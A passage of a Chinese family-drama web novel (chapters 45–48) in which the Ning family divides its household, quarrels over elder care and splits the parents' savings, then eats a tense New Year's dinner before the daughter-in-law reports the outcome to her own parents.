宁绍贤哼了一声:“你是个当老师的,嘴皮子厉害得很,我说不过你,但任凭你说破大天去,他们这个养老的方法,我也不同意!你有本事就把他俩都接到学校给你分的宿舍去,那我敬你是条汉子!” 事情的发展,让宁绍明也有些猝不及防。 他急忙趁着注意力都不在自己这边,让女儿悄悄跑去厨房叫他老婆来。 宁时夏一溜烟跑了。 瞥见她溜走的梁文建也挺想跑,刚刚还说按照老宁家的情况,分家这事好办呢,转头就打脸了。 谁能想到,问题没出在只拿到空宅基地,在他们这些外人看来,最容易闹起来的宁老三身上,而是出在宁家老两口身上。 他跟另外来作见证的几个人面面相觑,都认为这老两口真能折腾。 原本能顺顺当当地好好办下来的一件事,本来不用吵架伤感情,让他们俩折腾得兄弟俩吵起来了。 旁边宁老三也不劝,就这么坐着看他们吵。 看来家家有本难念的经,宁家也不像表面上看起来那么和睦。 宁绍明有个发小在村委上班,凑过来悄悄问他:“绍明,你不去劝劝你大哥和二哥?” 宁绍明摊手:“怎么劝?这是我能劝得了的事?除非我爸妈改变主意,要不劝了也是白瞎。” “那你是个什么想法?那两个吵上头了,不好劝,我们想先了解一下你的意思。” “我的意思?我没什么别的想法,反正我只愿意接一个跟我家住,不管是我妈还是我爸都成。”他心里确实对他妈有点怨言,但也没到不愿意给她养老的地步。 当然她自己不选择在他家养老,他也乐见其成。 那个村干部点头,表示明白了:“那就是,你比较赞同按照老规矩办事?” “也不算吧,要是老人不想跟我住,想自己住我也不反对,反正离得又不远,他们有事我也能照应得到。” “这……”村干部回到原位,把宁绍明的意思转达给梁文建和其他同事,他们都不知道该怎么办了。 梁文建抽了口烟无奈道:“要是宁老三支持按照老规矩来,那老大老三两个对老二一个,我们还能用少数服从多数来劝,可他两个都不反对,这就有点难办。” 那边老大一个人跟老二两口子吵,这老两口在那一脸苦相,只一个劲地说别吵了别吵了,但对于养老方式,就是不松口。 老大说是吵不过他们当老师的,可他人圆滑得很,耍嘴皮子的功夫也不一般,以一对二一点没落下风。 甚至把老二媳妇气得拍了桌子。 厨房跟堂屋隔着天井,赵如月在厨房里听不太清堂屋里的声音,不知道他们吵到什么程度了。 她被女儿叫出来,走到宁绍明身边坐下,刚听宁绍明三言两语迅速说清楚事情原委。 就听到二嫂大喊一声:“你宁绍贤以为自己很厉害是吧!要叫人是吧!那我也把我娘家人叫来!真以为我娘家人是吃素的吗!” 赵如月想了想,顺势插了一句:“还要叫娘家人来?我娘家最近,叫他们来快得很。” 宁达和黄秀华一听,慌了。 老三昨天晚上可是跟他们说过,决定要空宅基地这事,他们夫妻俩还没跟他岳家人说,打算先斩后奏来着。 他们老两口生怕这事在没办成前,被老三他老丈人家知道,今天赶着分家,这也是原因之一。 找梁文建和村干部来,也是趁着老三两口子去走赵家的亲戚,赵家老两口没空悄摸去找的。 宁达赶忙对赵如月说:“不用不用,你二嫂气头上乱说呢。” 叶菁正要声明自己不是乱说,就被婆婆狠狠拧了一下手臂,疼得她差点叫出来。 这还是她嫁过来之后,第一次被这么对待。 想到自己刚刚跟人吵架的样子,越想越觉得这么跟人吵架实在太丢脸,还失了身份。 而且她明明是为了支持公婆,才跟宁绍贤吵架,婆婆还这么对她。 叶菁气得掉眼泪:“你们宁家的事,我再也不管了,我又不是没房子住,大不了不要这院子,以后再也不回来!” 第45章 “你看看你,说什么傻话呢!”宁绍德训斥了叶菁一句,然后转头对其他人说,“大家先聊着,我说说她,让她冷静冷静。” 急忙把叶菁拉回房间。 他认为现在父母很明显向着自己,可不能让老婆把事情搅和掉。 “你发什么疯!跟大哥吵架就吵,你对着我妈吼什么!”宁绍德跟叶菁打赌赢了,他自觉能压叶菁一头,张嘴就是指责。 但叶菁也不是好惹的:“你怎么不问问你妈干对我干了什么?” 她撸起袖子,让宁绍德看自己被婆婆掐的地方,那地方已经是一块青紫。 “你看看,这就是你妈干的好事!我帮他们老两口吵架,她倒好,老三媳妇儿一出来,她就猛掐我一把,不让我说话,怪不得老话都说隔辈亲,人家有了宝贝小孙子,你也得靠边站了吧!” “你想多了,我妈肯定不是故意的,你也不动脑子想想,真叫娘家人来,你娘家人来得快,还是老三媳妇儿娘家人来得快?” 叶菁不服气:“她娘家人来得快有什么用?我哥现在职位可不低,怕她赵家!?” 她光顾着反驳宁绍德,完全忘了,自己之前是在和老大吵架,不是跟赵如月吵,赵如月娘家人来得快,也不会对她怎么样。 宁绍德还在那说:“别忘了,赵家全族几乎都在小桥街住着,她娘家以前在本地可是大族,不算上拐着弯的亲戚,只算同族,人数也多得很,还特别团结,你娘家有多少人?” “他们还是本地人,你哥当官再厉害,在农村能拿人家本地人有什么办法?遇上地头蛇,他是条龙也得盘着!” 叶菁瞪着眼睛看他:“你敢看不起我娘家人?” “你别一气头上就乱说行不行?我平时对你娘家人怎么样,你难道看不到吗? 倒是你,回来那天你怎么说我爸妈来着?这事你不会忘了吧?” “我……”叶菁终于想起来了,“我、我也不知道你爸妈为什么又突然改变了主意,那天我真听到他们说话了!” 可事实摆在眼前,她此时甚至有点怀疑自己那天的记忆。 “总之现在我爸妈在分家这件事上,没有对不起我们,这个你得承认吧?” 叶菁:“……”很不想承认,但是不得不承认。 “是,我承认,然后呢?你想怎样?让我去给他们道歉,说我不该偷听吗?” “我可没这么说。”他丢不起这个人! “刚才你帮我爸妈说话就挺好的,我希望你等下出去跟我一直支持爸妈的想法。” 宁绍德说完,听到叶菁冷哼一声,不由提醒她: “你别忘了,我们吃的米和大部分肉,全靠谁供给,你爸妈在镇上没有地,又都退休了,人走茶凉,他们在这方面帮不了我们,你又只是女儿,岳父岳母有好东西也是优先补贴你哥,以后我们想吃得跟以前一样好,还是要靠我爸妈。” 叶菁:“靠他们?真是笑话,我又不是没工资养活自己。” 宁绍德用手指捏起她肚子上一块赘肉晃了晃: “别意气用事,你看看自己的身材,再想想你自己的食量,真自己买米、买肉,我们又多一笔支出,猴年马月才能攒到钱在县城买房?” 别看他们家双职工,两个人都有工资领,还只养着一个女儿,日子看起来过得很宽裕。 其实自家人知自家事,要不是家里吃的米和肉不花钱,他们想攒钱也攒不下来。 毕竟云山县是贫困县,教师工资不高,各方面的福利待遇跟大城市没得比。 他一个体育老师,也没法学其他科目的老师,给学生补课挣钱。 而他老婆是小学语文老师,按理说也可以给小学生补课,挣点外快。 可本地人对教育的重视程度也不怎么样,大部分家长都不会选择在小学阶段就给孩子补课。 甚至高中生家长找老师给孩子补课的都不多,很多家长眼皮子浅得很,宁愿让孩子初中毕业就去打工,早几年给家里挣钱。 僧多粥少,他老婆哪能竞争得过人家高中老师? 眼看有些同事在县城买了商品房,他们夫妻俩挣不到外快,只能想办法省钱。 “你还好意思说我,你自己吃得就少?”叶菁并不觉得自己胖有什么不好,别人想胖还胖不起来呢!谁见到她不夸她有福气? 宁绍德的想法跟他一样,他们夫妻俩体型都偏胖,谁也没嫌弃过谁:“我当然吃得也多,所以更要支持我爸妈提出的养老方式,不是吗?” 叶菁彻底冷静下来了:“我们闺女吃得也多,只是不知道怎么回事,长个子竟然长不过老三家的小夏,难道老三媳妇儿家以前有什么方子,能促进孩子长高?” 宁绍德:“先别想那些乱七八糟的事情了,你回答我,这次听我的行不行?” 叶菁:“行吧,我听你的,不过我不会再出头跟你大哥吵了。” 跟个泼妇似的,真丢人! “吵架本来就用不着你,还不是你脾气太急一个没注意你就冲上去出头了,等会儿出去你别闹脾气给我扯后腿就行。 不管怎么说,我们三兄弟,我妈还是更向着我的,分家前,她特地找我聊过,当时我没反应过来,现在才想明白了,她是想自己过好在补贴我们的时候,不被老大家和老三家说嘴。” 宁绍德很感动于父母对自己的付出和谋划,在心里暗暗决定,以后有空一定多回来看望他们。 同一时间,堂屋里。 宁绍贤在言辞激烈地表达自己的态度: “你们别劝我,我绝对不可能同意!就没见过那么偏心眼的老人!” “反正我的态度就三个字:不同意!” “要是他们老两口坚决不改,非要这么干,那以后他们老得动不了了,要人伺候了,爱去谁家去谁家,别来我家!我也不许我媳妇儿伺候他们!” 梁文建看宁绍贤那状态,不像能沟通的样子,只好又去找宁绍明,这回又多了个赵如月。 “你们两口子的意见呢?别再说都可以、都支持,那样根本解决不了问题,你们必须给出一个明确的意见。” 不等宁绍明开口。 宁绍贤又冲着这边嚷嚷起来: “老三,你可要想清楚你跟谁是一边的,我们哥俩才是难兄难弟!老头老太太可没偏心过你!” “当年你上初中的时候,成绩也不差,中考完明明能继续念书,老师都找到家里来了,结果他们为了供老二把钱花光了,轮到你屁都没有!” “你体谅他们辛苦,自己说不想继续读了,等到要娶媳妇儿,你岳家嫌弃你学历低,差点连现在这媳妇儿都娶不着,这事你不会都忘了吧?得亏你那什么自由恋爱,自己找到对象了,要不然,靠他们老两口?你没准现在还在打光棍,跟他们一起给老二家当牛做马!” “大哥……你别乱说。”宁绍明听他大哥胡咧咧听得一头黑线。 他那些话里,有些确实是真的,有些却夸大了。 “就是!”宁绍德夫妻俩出来,正好听到宁绍贤那些话,双方又对上了,“当初老三不读书,明明是因为爸生了重病,家里的钱全给爸治病了,才没钱继续供,你别什么都往我身上推!” 宁绍贤不屑指着宁绍德的鼻尖骂:“放你爷爷的狗屁!你敢说你当初学体育花了家里多少钱吗?学那个破体育,又要花钱去参加比赛,又要吃得好,那时候全家都瘦得跟那山上的猴一样,就你一个吃得脑满肠肥,活像猪精附身! 不然就你那破成绩,也配当老师?没误人子弟算你走了狗屎运!” 眼看兄弟俩吵得越来越凶,大有上演全武行的架势。 黄秀华狠狠地往桌上一拍,那桌上的茶杯都抖了几抖:“够了!都给老娘闭嘴!” 老太太平时脾气不太好,没少骂人,但她真生大气跟随便骂几句是不一样的。 现在这情况,相处那么多年,宁家所有人都看得出来,老太太很明显是真恼火了。 所有人被这一怒吼,吼得噤了声,堂屋瞬间安静得仿佛能听到每个人的呼吸声。 正当宁家三兄弟以为老母亲要火力全开,把他们全都骂个狗血淋头时。 却看到老母亲红了眼圈,一抹眼泪低声哭了起来。 宁绍明当即倒吸了一口气。 他母亲脾气火爆,嫁给他爸后,入了党,还当过他们大队的大队长,脾气硬得很,轻易不会向人低头,更别说哭。 他们从小被骂习惯了,真被她臭骂一顿,他们完全能适应良好。 可现在,曾经那么硬气的老太太哭了。 大家都不是铁铸的心肝,能看到亲妈哭还无动于衷。 宁老大闭上嘴、撇过脸梗着脖子不说话,但看神色,很明显,依然不愿意妥协。 宁老二凑过去安慰老太太,有关孝顺的好话说了一箩筐,却也没说要退一步。 梁文建几个再次看向宁老三。 宁绍明叹了一口气:“养老这事,我和我媳妇儿尊重老人的意愿。” “老三,你!”宁绍贤不可置信地看向三弟,觉得自己被背刺了。 宁绍明示意他稍安勿躁:“大哥,你听我把话说完,我同意爸妈提出的养老方式,但有个条件,那就是,以后哪家照顾无法自理的老人,另外两家要按照市场工价,给照顾的人看护费,都不愿意照顾,那就请人照顾,看护费用平摊。” 宁绍贤听完一琢磨,觉得这主意不错:“要是这样的话,我同意!” 等老头或者老太太以后动不了了,来他家住着,他媳妇儿照顾,老二和老三要给他钱,相当于他们雇他媳妇儿照顾老人。 而且只要老人一直活着,这笔钱就一直有,白得一笔横财,哈哈! 第46章 跟宁绍贤的窃喜不同。 宁绍德听完脸色却不太好看,心里不由埋怨老三多事。 原本不管是按照老规矩给父母养老,还是按照他爸妈提出的养老方式。 等他们无法自理后,去谁家就是谁家负责伺候,他哪需要给什么看护费? 他家只需要在老人生病的时候,平摊医药费,偶尔回来探望一下就行。 最多每个月再给老人点生活费,但农村老人的生活费才几个钱? 梁文建看宁家老二脸色不对,抢在他说话前,笑着对宁家老两口说:“宁老哥,你觉得你家绍明的提议怎么样?我看他这一补充,你们老两口以后的养老更有保障了。” 宁达当然是非常满意的:“我也觉得好,老三这孩子,从小就懂得为父母着想,孝顺。” 人上了年纪最怕什么?当然是怕子女不孝、不管自己。 他们夫妻俩算计这么多是为了什么?还不是为了自己老了之后能过得更好、更自在! 宁达很想以后跟老婆子换换,让老婆子去老大家,自己去老三家。 可惜老婆子最疼小秋,不怎么喜欢老大家的两个孩子,也不喜欢老大媳妇儿。 以前家里是老婆子当家,老大媳妇儿不敢跟她呛声,以后可不一定了,老三媳妇好歹讲点道理,所以她肯定不愿意去老大家。 至于老二家,他们老两口从来没想过要去他家。 毕竟老二夫妻俩常年在县城,而他们老两口在镇上生活几十年,不愿意离开熟悉的环境,更无法习惯县城的日子。 更别说老二只有一个闺女,以后老二夫妻俩的养老怎么办还不知道,哪能顾得上他们? 宁达看了欲言又止的老二一眼,转头问黄秀华:“你觉得呢?” 黄秀华擦掉眼角残留的眼泪,清了清嗓子说:“我当然也同意,接下来让他们兄弟三个商量吧,要是还不同意这个方法,那就别分家了,等我们老两口都死了再分!这种情况以前也不是没有。” 最偏向自己的父母都愿意,宁绍德再不乐意也不好再提出意见,毕竟这个方法也不是对他完全没有好处。 他父母结婚早,生孩子也早,现在还不到六十,而且身体健康,看起来还能干十来年的活,至少可以帮衬他十年。 这次两个闹得最凶的都没意见,分家这事终于回到正轨,成为梁文建说的那样,好办的情形。 老两口一共有八千多存款,他们这一代人,经历过好几次社会巨变,吃大锅饭的时候,几乎家家户户都不富裕。 黄秀华当大队长那时,一个月也就几块到十几块钱的补贴。 后来实行家庭联产承包责任制,分到土地,日子比以前好过很多,但也是除了田地,没有别的收入来源。 他们又要养孩子、供二儿子读书、建房子、买宅基地,还要给儿子娶媳妇儿。 到最小的宁绍明也结婚后,他们才开始能攒下一点钱。 尤其是宁绍明去砖厂工作后,每个月把一半工资给家里,家里的现钱才多起来。 更别说后来他们夫妻俩去打工,每个月还寄回来四百块钱。 黄秀华节省,一个月最多花两百,时不时补贴老大家一百。 一年下来,减掉一月份老三夫妻俩刚出去,没拿到工资的这个月,剩下的十一个月,她足足攒下一千多。 其他人不知道这些,只知道老人能攒下这么多钱,已经比很多老人都厉害了。 镇上有些人家,一家子所有钱凑在一起,也不一定能有三千块呢! 梁文建和村委的几个人,看到他们老两口拿出来那么多钱都很惊讶。 他们见过一些跟宁家条件差不多的人家分家,老人拿出来的存款最多的一家,也就四千多将近五千块钱。 老人不习惯把钱存在银行,黄秀华回房没一会儿,就拿着一个铁皮饼干盒子出来了,钱都藏在这盒子里。 她把里面的整钞拿出来,数了数:“家里的钱全在这里了,零钱我就不拿出来分了,整钞一共八千六百块。” 然后将钱交给宁达,宁达自己数过一次,再让梁文建数一次。 梁文建数完确认:“八千六百块钱,金额没错。”然后还给宁达。 宁达又数出一千六百块钱:“这一千六是我们老两口留给自己的养老钱,你们没意见吧?” 最后那句是看向三个儿子问的。 三人都摇头说:“没意见。” 宁绍德还说:“爸妈,你们多留些钱傍身也行。” 黄秀华听到这话很欣慰,但还是摇头:“我们老两口平时也用不了多少钱,留一点棺材本就行了,再多的钱也比不上孩子有孝心。” 宁达附和:“是这个理。”说着把分出来的一千六交给梁文建,让他再次确认。 梁文建数了一遍点头:“是一千六百块钱整。”再次还回去。 宁达紧接着数出三千八百块钱,再次递过去给梁文建确认。 接着他看向宁绍贤和宁绍德:“绍明在分房上吃了亏,他还要建房,所以在钱上面多给他一点补上,分给他三千八百块钱,你们可有意见?” 两人都摇头说:“没意见。” 他们心里很清楚,这年头物价不如以前便宜,那三千多,哪怕也建砖瓦房,也建不起来老宅这样的院子的一半。 老三说打算建平房,就算他只建两个睡觉的房间,不建堂屋,再加上一个厕所外加一个小厨房吧,也得自己往里再贴三千多。 这还不包括家具和一些过日子要用的锅碗瓢盆等零零散散的东西。 别看那些零散的东西不起眼,平时需要的时候,零零星星地买一两样也不贵。 但破家值万贯,一下子置办齐全,也要花不少钱。 梁文建把钱数好,交给宁绍明:“你再数一遍,确认一下。” “好。”宁绍明应了一声,认真数一遍,“没问题,刚好三千八百。” 数完他就交到了赵如月手上。 剩下的钱,宁绍贤和宁绍德一人分了一千六。 接着就是家里的土地和粮食,宁绍德户口转到了单位,他的单位又是事业单位,不能分村里的地,所以分地分粮食都没他的分。 不过宁达和黄秀华要自己住,目前暂时不需要几个儿子照顾,他们想自己种地。 所以家里的地和粮食,甚至菜地,依然平均分成三份。 剩下的就是一些过日子用的锅碗瓢盆,还有零零碎碎的东西,当初是谁买的就归谁,是谁的嫁妆也归谁。 宁绍明的房子还没建成,在建成之前,他们一家暂时先跟宁达老两口住着,也就是依然住在他们现在的房间。 不过东西分好,一大家子也要在一起团圆过年,往后老人还在时,过年过节也要一起吃团圆饭。 等到年后,再彻底拆伙各家自己做饭,如果宁绍明一家还跟着他们一起吃饭,得提前给黄秀华粮食和菜钱。 后面分的这些东西速度很快,天色擦黑,王海燕做好饭没多久,分家这个事就进入了尾声。 分家协议写清楚,各自签字盖章。 村委再给宁家三兄弟开证明,等年后镇政府的工作人员上班,他们带着证明去就能去办个新的户口本。 终于完事,各人都松了一口气。 王海燕适时出来叫人:“饭已经做好了,快进去吃饭吧,几天辛苦梁叔和村委的几位了,等下让我家那个敬你们几杯!” 众人推让几回,一起往宁家厨房走去,厨房面积不小,两个桌子也摆得下。 王海燕确实也摆了两桌,喝酒的男人一桌,不喝酒的女人和孩子们一桌,两个桌上的菜都一样。 黄秀华随着大家一起走进去的时候,脸上还带着笑。 看到桌上的菜色,她脸上的笑顿时将在了脸上,沉怒的目光隐晦地看向王海燕,又转向赵如月。 最后定在商量分家期间,一直没出厨房的王海燕身上。 黄秀华刚才就注意到了大儿媳嘴巴边上没抹干净的油光,以她只是嘴馋躲在厨房偷吃。 没想到刚分家,她就敢背着自己做这种事! 感受到婆婆的死亡凝视,王海燕紧张得身上汗毛都竖起来了。 偏偏她儿子还夸张地大声说着:“妈,今天我们家提前过年了?这桌菜看起来比过年还丰盛!” “有的吃还堵不住你的嘴。”王海燕恨不得过去锤他一拳。 “能吃到这么多好菜,你得好好感谢你三叔,肉都是他买的。”为避免婆婆真不顾场合骂自己,让自己在外人面前下不来台,王海燕拐着弯提醒婆婆,那些肉花的可不是她的钱。 说完这句,婆婆的眼神果然离开自己,转而看向赵如月。 赵如月像是什么都不知道一样,带着她的两个孩子坐下,只顾着照顾孩子吃饭。 还抽空叮嘱宁绍明:“你别喝太多,不然明天起来又要头疼,我们明天还要早点起来去一趟县城呢。” 黄秀华原本打算晚点等客人吃完饭离开,找机会说这两个儿媳一顿。 听到赵如月的话,她立刻放弃了这个决定。 家里过年的东西还没买齐,骂了老三媳妇儿,老三肯定要恼。 他生起气来,虽然不能对她这个当妈的怎么样,但他一犯倔,真可能什么都不买,摆着空手回家。 黄秀华忍了这口气,问赵如月:“你们俩明天去县城做什么?” 赵如月:“提前去定下建房要用的建材,等年后人家开工,也好早点送来。” “嗯,提前去定也挺好,你们去县城定好建材,顺便去一趟县城的那个大菜市场,买点家里过年要用的东西,那里东西齐全。” 黄秀华当着一桌人的面说这话,就是笃定有外人在场,老三媳妇儿不敢直接驳回自己的话,让外人觉得她刚分家,就对婆婆不尊重、不孝顺。 第47章 赵如月有时候真不知道该怎么形容自己这婆婆。 说她精明吧,她有时又犯蠢,说她蠢吧,她也会算计。 就像现在,她不会以为分家到这里就真结束了吧? 赵如月瞥了她一眼说:“是该买。” 这话一出,别说跟她同一桌吃饭的王海燕和叶菁惊讶,她竟然这么容易就答应下来了? 连黄秀华也惊了一下,她还以为老三家的会觉得不公平,闹腾一下。 万一闹大了,大不了再让三家一起买,反正不花自己的钱就行。 儿子们交上来给她的那一份过节费,她就可以自己攒下来,当压箱底的养老钱。 毕竟为了能顺利分家,她跟老伴儿说出了自己住的时候,暂时不需要儿子们养。 以后他们老两口能摸到的粮食少了,老三给的那份钱也没了,她当然要精打细算,不想出过年买东西的钱。 赵如月不动声色地看一眼她们的反应,继续说道:“妈,麻烦你跟我仔细说说过年的习俗,分家后我们就要各家自己准备贡品拜神了,今年第一次单独准备所有过年的东西,我担心自己想不周全。 现在正好人齐,同样的东西,你也不用跟我们妯娌三个重复说三次了,要是方便的话,能把年头到年尾的节日习俗都说一遍最好了,我记下来,避免以后出错。” 黄秀华一改刚才的高兴,越听越觉得不对劲。 王海燕心急口快:“三弟妹,爸妈不是说,今年一起团圆过年,年后再正式各自开伙吗?你这是打算买东西只自家用,过年也自己过啊?” 赵如月一副‘你可真是错怪了我’的表情。 “大嫂,我可没说要自己过,既然爸妈发话了,那过年的团圆饭,肯定得在一起吃。 但这不是分家赶上过年了么,我们正好可以跟妈从头到尾地学一学过年习俗,顺便在拜神的时候告诉祖宗们,家里今年开始分家了,以后我们祭拜祖先就代表各自的小家。 要不然清明去祭祖,我们各自带着贡品去,祖宗们知道是怎么回事啊?” 叶菁认为赵如月太过迷信,什么跟祖宗说,他们能听到才怪,祖宗真能听到他们的话,为什么不保佑她家发财? 她看向婆婆,想看婆婆怎么反驳赵如月,可婆婆却一声不吭。 黄秀华不是没注意到二儿媳的眼神,但她不想管,反正不要她花钱,一个儿媳出钱和三个儿媳出钱,对她来说没什么两样。 之前只叫老三家的买,只是看他们夫妻俩今年挣得多,比较大方,又比较好说话。 而老大家,老大这个人混不吝,她的话从来是不听的,她干脆直接越过了老大家。 老二家,则是觉得老二两口子看起来工作光鲜,实则挣钱很少,过得也不容易。 叶菁觉得赵如月迷信,她却不知道,王海燕才是真正有点迷信的。 赵如月为了找借口让三家都出钱,这么一说,王海燕就觉得很有道理。 “没错没错,既然分家在年头,当然得现在趁着过年的机会,跟祖宗们说一说。 要不选别的时间说,还要重新准备贡品,没有贡品香烛纸钱这些给各路神仙开道,我们的话哪能传到祖宗们耳朵里?” 叶菁这会儿看老大一家都不顺眼,王海燕说完她立马反驳:“那照你说的,需要贡品香烛纸钱这些开道,只准备一份东西不也能跟祖宗们说,何必要三份?” 王海燕一脸不赞成地看着她:“你这就是不懂事了,分家就跟树大分枝一样,表示家族人口越来越多,越来越兴旺了,只准备一份东西,去跟祖宗们说家里越来越兴旺了,祖宗们怎么会信?我们都各自准备一份,祖宗们保佑的时候才能精准保佑到自家!” 她的语气变得颇为语重心长,教育起叶菁来:“你信我,这种事真不能小气,能多准备东西,最好就别吝啬,能准备好的,就别拿差的将就,你别嫌我这个大嫂多事,我说这些也是为你们好,自家人我才愿意说这么多的。” 叶菁心想:我呸!你可少来了,什么自家人,谁跟你自家人! 另外两个妯娌可不管她怎么想的,二对一,她不愿意也得愿意。 赵如月立刻跟王海燕把这事定下:“那大嫂,我们就说好了,各自准备自家的东西。” “好!”王海燕忙不迭地点头,心里已经在盘算该买些什么。 赵如月却又皱起了眉头:“只是拜神要用到的鸡,不知道爸妈愿不愿意杀三只。” 家里的二十几只鸡是老两口养的,王海燕因为时不时帮忙喂,分到了几只,还剩下二十只,全归老两口。 赵如月顿了顿,继续说:“妈不愿意也没事,我可以回娘家问问,我妈养的鸡也特别好。” 黄秀华听到赵如月提起她娘家就是一激灵。 她终于记起来,他们分家没遵守当年承诺这事,还没过亲家那关。 想不让赵家人来闹,还得老三媳妇儿去哄。 这会儿黄秀华想起自己刚刚仗着辈分高做的事,冷汗都要冒出来了。 不禁在心里暗自庆幸,自己刚才只说了那么一句,后来没反驳老三媳妇儿的意思。 要不然,把她惹急了,她回娘家说分家的事时耍心眼子的话。 哪怕他们家已经签了分家协议,赵家人来闹,他们老两口的棺材本也不一定能保得住。 而且等她以后干不动活,是要去老三家过日子的,得罪老三媳妇儿对她来说没好处。 黄秀华忙道:“几只鸡而已,自家养的又不花钱,说什么愿不愿意,没得让人以为我多小气,你们三家每家两只,除夕那天自己去后院鸡栏里选,看上哪只杀哪只。” 不等赵如月说话,王海燕已经喜滋滋地说:“谢谢妈!” 她生怕自己准备的东西被比下去,以后祖宗偏心另外两家,最主要的贡品:鸡,是自家养的真是太好了。 她平时有空也帮忙喂鸡,最知道哪只最好。 在这上面省了一笔,王海燕觉得其他贡品可以买更好点的了。 她忙问赵如月:“三弟妹,你们明天去县城,能不能帮我捎带点东西?我吃完饭就给你拿钱。” 这回她可不是空口白话说说而已了,是真打算拿钱的。 反正分家刚拿到一千多块钱,哪怕只拿出来两百置办东西,她都能保证做得比婆婆好,把这个年过得比以前更体面! 赵如月没拒绝:“可以,你最好给我列个单子,不然我怕我忘记,不过东西也别太多,我们带着孩子,可能拿不了太多东西。” “怎么还要带孩子去啊?小孩子走不动路,还得你们抱,多麻烦!” 宁时秋和宁时夏听到妈妈说要带他们一起去县城,还没来得及高兴,就听到大伯娘劝她别带他们去。 两个孩子立马紧张地看向妈妈。 宁时秋:“我力气大,不会累,要是妹妹累了,我也背得动妹妹。” 宁时夏:“我力气也大,我才不会累。” 旁边宁达正想咂一口酒,就听到小孙女的话。 忍不住大笑:“你个小骗子,还好意思说你不会累,是谁从海街回来走到一半,就骗我说自己肚子疼?” 宁时夏嘿嘿笑着跑过去给爷爷夹菜:“爷爷你多吃点肉,大伯娘做的卤肉可好吃了,跟酒席上的味道一样好!” 宁达点点她的小脑瓜:“你个小机灵鬼,这是拿肉堵我嘴呢。” 他吃了口肉,看向宁绍德:“老二不是有摩托车?老三也会骑,明天让老三开那车去县城,自己开车去,想上哪都能开着车,不用担心孩子走一半走不动,也不用等公交车了。 现在外地打工回来的、去县城买年货的、还有去县城玩的,坐车的人多得很,来回的公交车大人都不一定能挤得上去,面包车又翻倍地涨价,带着孩子还是自己开车方便。” 宁绍明和宁绍德听到他爸这些话,脸色都不太好看。 宁绍明是心里不舒服。 宁绍德则是尴尬中带着点恼怒。 尴尬是因为他对弟弟撒了谎,有点心虚。 恼怒是觉得他爸太不尊重他,没问过他,张口就直接决定让老三开他的车。 虽然他那车的购车款,当年是两个老人悄悄支援了三分之一,他岳父岳母又支援了三分之一,再加上他们自己的存款买的。 可宁绍德不觉得这车他爸有支配的权利。 要是以前,场面静下来,宁绍明肯定要主动打个圆场,让场面别变得太难看。 但今天他一声不吭,把跑到这桌来堵他爸嘴的闺女抱上膝头,认真地给自己闺女夹肉吃。 宁时夏很开心,指挥着她爸夹自己以前不敢吃的带点肥的肉。 那样有肥有瘦的肉,瘦的部分很香很好吃,还比纯瘦肉嫩得多,可她讨厌肥肉,吃到一点都犯恶心,以前这样的干脆都不吃。 但是今天可以跟爸爸分,让爸爸把肥肥的地方吃掉,她吃瘦瘦的。 宁绍明给闺女啃肥肉都快啃腻了,才听到哼哧半天的二哥终于憋出来一句:“我那车别人借走了,过完年才还回来。” 他不敢跟糊弄宁绍明一样说车子要修。 因为他爸平时的棋友里就有个开修车铺的老头。 那老头以前在县城国营厂运输队工作,不管是四个轮子的、三个轮子的还是两个轮子的,人家都会修。 之前他的车真有个地方要修,他爸带他去找那老头,人家都没收钱。 还说以后他去修车,只要不是大问题,就只按进货价收零件钱。 也就是说,不需要换零件,只需要修一修的小问题,他自己去人家也不会收他的钱,他在镇上修车,根本没理由找别人修却不找他爸的朋友。 宁绍明终于在他嘴里听到实话,心情很复杂,亲兄弟之间,怎么就变成了这样? 赵如月往这边桌看了一眼,本来想看看闺女吃得怎么样了,却看到丈夫眼神似乎有点难过。 想了想说道:“爸,不用二哥那车也行,我今天去我三叔家看他,正好听到我堂哥说他的车子明天不用,我就跟他借了。” 宁达点头:“也行,你们用完车记得给人家把油箱加满,来得及的话最好送去洗洗,来不及就自家擦洗一下,新年呢,得让人家的车也干干净净的过年。” 其他人都没觉得这对话有什么问题。 宁绍德听在耳朵里,心里却在想:老三媳妇儿是不是因为借不到他的车,话里有话地讽刺他这个亲哥还不如她的堂哥? 第48章 宁绍明很快就把那些复杂的心绪抛到脑后,好好招待客人。 这顿饭十几斤的卤肉让所有人都能敞开了吃,除了宁绍德一直在对那句话耿耿于怀,其他人都吃得很尽兴。 一直吃到晚上七点多散场,赵如月在婆婆隐晦的催促下,带着两个孩子出门消食。 顺便溜达到自己娘家,把分家的事告诉她娘家人。 她爸妈刚开始听说他们分到的是空宅基地,确实不太高兴。 但他们不是那种讲不通道理的老人。 赵如月认真地把自己跟宁绍明的打算,一一告诉两位老人,他们听完也就慢慢接受了。 只是仍然对他们只分到三千多块钱有些不满。 “才不到四千块钱,能干什么?你们老宅分出来的小院子,最少值**千,慢慢卖能卖到一万出头,想买还没人卖!那老两口肯定还藏着钱没拿出来!” 赵如月劝道:“毕竟我们想早点分家,只能吃点亏了,不然继续混着住下去,对谁都不好,尤其是两个孩子,我可不想跟他们分隔两地了。” 邓细妹说:“在老宅那边不是更适合做生意?” 赵如月也不好把以后那边的发展跟她说。 只推说:“我怀疑我公婆根本没跟她家老二说过,当初答应你们的事,绍明说他爸分房子的时候,他分到空宅基地,大哥和二哥一点都不惊讶,一脸理所当然要这么分的样子。 我们真要那小院子,分家这事怕是没那么顺利,我跟绍明都不想跟他们在这事上掰扯,毕竟以前他们答应那事,也没写个什么协议。” 当然这只是赵如月的怀疑,她也没证据。 不过现在这是不是真的,对她来说已经无所谓了,分家后过好自己的日子才是第一位。 邓细妹恨恨地唾弃:“那两个老东西!要不是看在绍明是个好的,对你和孩子们都好,人也上进,我可饶不了那俩可恶的老家伙!” 赵斌听了女儿的劝,也想通了。 跟着她一起劝老妻:“现在小月和绍明顺顺当当地把家分了,自己当家做主,过他们自己的小日子也挺好,你就别生气了,住得那么近,低头不见抬头见的,看在绍明和两个孩子的面子上,见了面也别给他们老两口脸色。” 邓细妹:“我知道,我就在自家气一气,那老两口不管怎么样,对我们闺女还算不错,没对我们家小月大小声过,以前隔三差五就见亲家母骂她家老大媳妇儿,我还担心小月嫁过去也遭罪来着。” 赵斌笑着说:“我们俩还没死,她敢欺负我们闺女?” 赵如月呸呸呸了几声:“什么死不死的,现在日子越来越好了,爸您可得长命百岁,往后还有更好的日子,您要是享受不到,多亏呀!” 她爸上过学,平时也喜欢看看书、看看报纸,当年刚允许私人买卖,他就是镇上第一批敢挑着农产品摆摊卖的人,后来也是他劝着三叔开医馆,三叔记着这份情对他们兄弟姐妹几个都很好,连带着对她的孩子都多有照顾。 她爸妈买卖做得好的时候,还开过店。 